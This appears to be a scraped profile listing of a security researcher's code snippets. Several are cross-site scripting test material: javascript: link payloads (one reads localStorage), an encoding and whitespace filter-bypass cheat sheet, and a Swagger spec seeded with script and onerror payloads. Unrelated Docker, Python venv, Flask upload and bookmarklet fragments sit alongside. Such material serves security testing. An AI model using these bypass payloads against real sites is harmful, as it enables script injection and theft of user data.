mrrootsec

Links:

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

Images:

mrrootsec

name: JSON param key as column name
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+
  /**
   * Extracts a JSON parameter and creates a column named after the parameter.
   * @author mrrootsec
   */

  var req = requestResponse.request();

mrrootsec

Useful Regex Patterns to Find Vulnerabilities in Java Code

1. Hardcoded Credentials / Secrets

These patterns look for sensitive information directly embedded in the code.

• Generic Passwords / Secrets / Tokens:

  • Regex:

mrrootsec

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

mrrootsec

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)

mrrootsec

# Docker Cheatsheet

## Tutorial series

Get started with Docker: [https://docs.docker.com/engine/getstarted/](https://docs.docker.com/engine/getstarted/)

## Installation

### Linux

mrrootsec

(function(){
  // http://coding.smashingmagazine.com/2010/05/23/make-your-own-bookmarklets-with-jquery/
	// http://subsimple.com/bookmarklets/jsbuilder.htm

	if(window.jQuery === undefined) {
		var script = document.createElement("script");
		script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js";
		script.onload = script.onreadystatechange = function() {
			bookmarklet();
		};

mrrootsec

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

# Directory where uploaded files will be stored
UPLOAD_FOLDER = './uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

mrrootsec

Python Virtual Environment Tutorial

• How to start Python Development with Python Environment
  • 1. Install python3-venv or python3.x-venv
  • 2. To create a virtual environment, decide which directory where you want to place it
  • 3. Run venv module as a script in your chosen directory path
  • 4. Activate your virtual environment
  • 5. You can start installing your packages
    • 1. Installing a package:
• 2. Installing a package using specific version

mrrootsec

{
  "swagger" : "2.0",
  "info" : {
    "version" : "1.0.100",
    "title" : "title<script language=\"javascript\">alert('1')</script>",
    "description" : "description with **markdown** format <script language=\"javascript\">alert('script-in-description')</script> <img src=x onerror=alert(\"img-in-description\")>"
  },
  "tags" : [ {
    "name" : "Admin",
    "description" : "tag with **markdown**"